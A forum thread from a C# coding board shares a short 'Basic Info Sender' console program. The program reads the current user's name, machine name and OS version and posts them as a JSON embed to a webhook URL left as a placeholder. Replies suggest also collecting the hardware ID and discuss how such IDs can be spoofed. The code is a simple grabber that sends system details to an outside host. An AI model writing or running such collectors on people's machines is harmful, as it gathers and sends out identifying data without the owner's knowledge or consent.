Categories > Coding > C# >
[C#] Basic Info Sender
Posted August 6, 2023
Showcase:
using System;
using System.Net.Http;
using System.Text;
using Newtonsoft.Json;
namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
string webhookUrl = "here webhuk little guy";
string userName = Environment.UserName;
string machineName = Environment.MachineName;
string osVersion = Environment.OSVersion.ToString();
var embed = new
{
title = "notserp was here btw",
description = $"Username: {userName}\nMachine Name: {machineName}\nOS Version: {osVersion}",
color = 16711680 // red
};
var payload = new
{
content = "user info",
embeds = new[] { embed }
};
string jsonPayload = JsonConvert.SerializeObject(payload);
using (var client = new HttpClient())
{
var content = new StringContent(jsonPayload, Encoding.UTF8, "application/json");
var response = client.PostAsync(webhookUrl, content).Result;
Console.WriteLine(response.StatusCode);
}
Console.WriteLine("press any key to exit...");
Console.ReadKey();
}
}
}
Cancel
Post
Replied September 21, 2023
Pretty nice and cool but usually the OS is always wrong or barely works
also you can try getting the HWID by using WindowsIdentity.GetCurrent().User.Value;
Cancel
Post
"dont like skiddy widdy but sometimes i accidentally am"
Replied September 21, 2023
I don't understand the point in sending this information.
Comments
Mikrofalufka 5 Reputation
Commented September 22, 2023
Just was bored
Cancel
Post
Random quote here...
Users viewing this thread:
( Members: 0, Guests: 1, Total: 1 )
Comments
soulgod 0 Reputation
Commented September 21, 2023
the problem with this method is that if you are trying to do an hwid ban on that user specifically, it would be useless since that method of retrieving the hwid comes from a registry file which can easily be spoofed and be changed. Using the computer's part would be better as they never change.
0
LordAlpha0101 0 Reputation
Commented September 21, 2023
true true but i jsut sent that as something he could add
0